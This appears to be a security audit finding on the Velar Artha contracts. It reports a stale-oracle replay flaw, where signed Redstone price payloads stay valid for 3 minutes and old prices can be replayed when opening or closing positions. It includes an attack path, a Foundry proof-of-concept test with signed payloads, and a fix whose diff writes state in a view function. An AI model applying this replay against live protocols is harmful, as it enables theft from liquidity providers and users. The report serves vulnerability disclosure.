Magnificent Pewter Stork

High

# malicious users changes price in favor of themself

### Summary

malicious users can use old payloads to change price in favor of them self

### Root Cause
Oracle::priceÂ uses RedstoneExtractor.sol contract to get a new price and when users want to open or close a position, a new payload will be fetched for them and then that is attached to their transaction, more ever in Oracle contract price will be changed per block and generate a new block in BOB network take 2 seconds, and RedstoneExractor.sol uses default validateTimestamp function which every payload is valid for 3 minutes, hence 90 blocks will be mined in 3 minutes, its mean for example if a payload is fetched in block 1 that is valid in block 90 because DEFAULT_MAX_DATA_TIMESTAMP_DELAY_SECONDS is 3 minutes by default

```solidity
contract RedstoneExtractor is PrimaryProdDataServiceConsumerBase {
  function extractPrice(bytes32 feedId, bytes calldata)
      public view returns(uint256, uint256)
  {
    bytes32[] memory dataFeedIds = new bytes32[](1);
    dataFeedIds[0] = feedId;
    (uint256[] memory values, uint256 timestamp) =
        getOracleNumericValuesAndTimestampFromTxMsg(dataFeedIds);
 @>>>>   validateTimestamp(timestamp); //!!!
    return (values[0], timestamp);
  }
}
abstract contract RedstoneConsumerBase{
    ...
function validateTimestamp(uint256 receivedTimestampMilliseconds) public view virtual {
    RedstoneDefaultsLib.validateTimestamp(receivedTimestampMilliseconds);
}
    ...
}

library RedstoneDefaultsLib {
@>>>  uint256 constant DEFAULT_MAX_DATA_TIMESTAMP_DELAY_SECONDS = 3 minutes;
  uint256 constant DEFAULT_MAX_DATA_TIMESTAMP_AHEAD_SECONDS = 1 minutes;

  error TimestampFromTooLongFuture(uint256 receivedTimestampSeconds, uint256 blockTimestamp);
  error TimestampIsTooOld(uint256 receivedTimestampSeconds, uint256 blockTimestamp);

  function validateTimestamp(uint256 receivedTimestampMilliseconds) internal view {
    // Getting data timestamp from future seems quite unlikely
    // But we've already spent too much time with different cases
    // Where block.timestamp was less than dataPackage.timestamp.
    // Some blockchains may case this problem as well.
    // That's why we add MAX_BLOCK_TIMESTAMP_DELAY
    // and allow data "from future" but with a small delay
    uint256 receivedTimestampSeconds = receivedTimestampMilliseconds / 1000;

    if (block.timestamp < receivedTimestampSeconds) {
      if ((receivedTimestampSeconds - block.timestamp) > DEFAULT_MAX_DATA_TIMESTAMP_AHEAD_SECONDS) {
        revert TimestampFromTooLongFuture(receivedTimestampSeconds, block.timestamp);
      }
@>>>    } else if ((block.timestamp - receivedTimestampSeconds) > DEFAULT_MAX_DATA_TIMESTAMP_DELAY_SECONDS) {
      revert TimestampIsTooOld(receivedTimestampSeconds, block.timestamp);
    }
  }

  function aggregateValues(uint256[] memory values) internal pure returns (uint256) {
    return NumericArrayLib.pickMedian(values);
  }
}
```
### Attack Path

1- attacker get a payload when BTC price 50,000 in block 1
2- price goes up to 55,000 in block 20[40 sec later]
3- attacker calls `Api::open` and pass old payload to that[old payload is valid becuase block.timestamp - receivedTimestampSeconds = 40 sec < 3 min ]


### Impact

- loss of funds for LPs
- positions can be liquidated with pass lower or higher price[loss of funds for users] 

### Code Snippet
https://github.com/sherlock-audit/2024-08-velar-artha/blob/main/gl-sherlock/contracts/RedstoneExtractor.sol#L13



### PoC
Clone [minimal foundry repo](https://github.com/redstone-finance/minimal-foundry-repo) and paste this test in `tests/counter.t.sol` also u need `lib/vendor/data-services/PrimaryProdDataServiceConsumerBase.sol` which u can find that in velar contest repo
**Coded PoC:**
<summary>
    
<details>

```solidity    
    // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import 'forge-std/console2.sol';
import { PrimaryProdDataServiceConsumerBase } from "lib/vendor/data-services/PrimaryProdDataServiceConsumerBase.sol";


contract OracleTest is Test {
    RedstoneExtractor extractor;

    function setUp() public {
        extractor = new RedstoneExtractor();
    }

    function testOracleData() public {
        //GMT: Monday, September 2, 2024 1:02:07 AM, Price 121e8
        bytes memory redstonePayload1 = bytes(hex"425443000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002d13759000191b040de9800000020000001123069eb25b7ced79ecb8a1a0f1f7b20ac757c476dd23e1e8fff7decf7a86b60626746cd986247d6913010053871bf71dc69482e2599add546220186b8ad3d1f1c0001000000000002ed57011e0000");
        //GMT: Monday, September 2, 2024 1:03:01 AM, Price 123e8
        bytes memory redstonePayload2 = bytes(hex"425443000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002dd231b000191b041b18800000020000001527595c9bc4e519c33e7ed918dfcfceed9a7137dfc5e781feaf5f64f7a586c7e1cdf0e7e99aec8d41a2044403adf491256d42fb9bf35616cca1f84701b88289d1c0001000000000002ed57011e0000");
        
        //GMT: Monday, September 2, 2024 1:04:01 AM
        vm.warp(1725239041);
        
        bytes memory encodedFunction1 = abi.encodeWithSignature(
            "extractPrice(bytes32,bytes)",
            bytes32("BTC"),redstonePayload1
        );

        bytes memory encodedFunction2 = abi.encodeWithSignature(
            "extractPrice(bytes32,bytes)",
            bytes32("BTC"),redstonePayload2
        );
        bytes memory encodedFunctionWithRedstonePayload1 = abi.encodePacked(
            encodedFunction1,
            redstonePayload1
        );

        bytes memory encodedFunctionWithRedstonePayload2 = abi.encodePacked(
            encodedFunction2,
            redstonePayload2
        );




        (bool success, bytes memory result) = address(extractor).call(
            encodedFunctionWithRedstonePayload1
        );
        assertEq(success, true);
        (uint price,) = abi.decode(result,(uint256, uint256));
        assertEq(price, 121e8);

        // Securely getting oracle value
        (success, result) = address(extractor).call(
            encodedFunctionWithRedstonePayload2
        );
        assertEq(success, true);
        (price,) = abi.decode(result,(uint256, uint256));
        assertEq(price, 123e8);

        (success, result) = address(extractor).call(
            encodedFunctionWithRedstonePayload1
        );

        (price,) = abi.decode(result,(uint256, uint256));
        assertEq(price, 121e8);


        assertEq(success, true);


    }
}


contract RedstoneExtractor is PrimaryProdDataServiceConsumerBase {
  function extractPrice(bytes32 feedId, bytes calldata)
      public view returns(uint256, uint256)
  {
    bytes32[] memory dataFeedIds = new bytes32[](1);
    dataFeedIds[0] = feedId;
    (uint256[] memory values, uint256 timestamp) =
        getOracleNumericValuesAndTimestampFromTxMsg(dataFeedIds);
    validateTimestamp(timestamp); //!!!
    return (values[0], timestamp);
  }
}
```
 </details></summary>

### Mitigation

```diff
 contract RedstoneExtractor is PrimaryProdDataServiceConsumerBase {
+
+  uint lastUpdate;
+  uint lastPrice;
   function extractPrice(bytes32 feedId, bytes calldata)
       public view returns(uint256, uint256)
   {
+
+    if(block.timestamp - lastUpdate > 3 minutes) {
     bytes32[] memory dataFeedIds = new bytes32[](1);
     dataFeedIds[0] = feedId;
     (uint256[] memory values, uint256 timestamp) =
         getOracleNumericValuesAndTimestampFromTxMsg(dataFeedIds);
     validateTimestamp(timestamp); //!!!
-    return (values[0], timestamp);
+      lastUpdate = block.timestamp;
+      lastPrice = values[0];
+    }
+    return (lastPrice, lastUpdate);
   }
 }

```
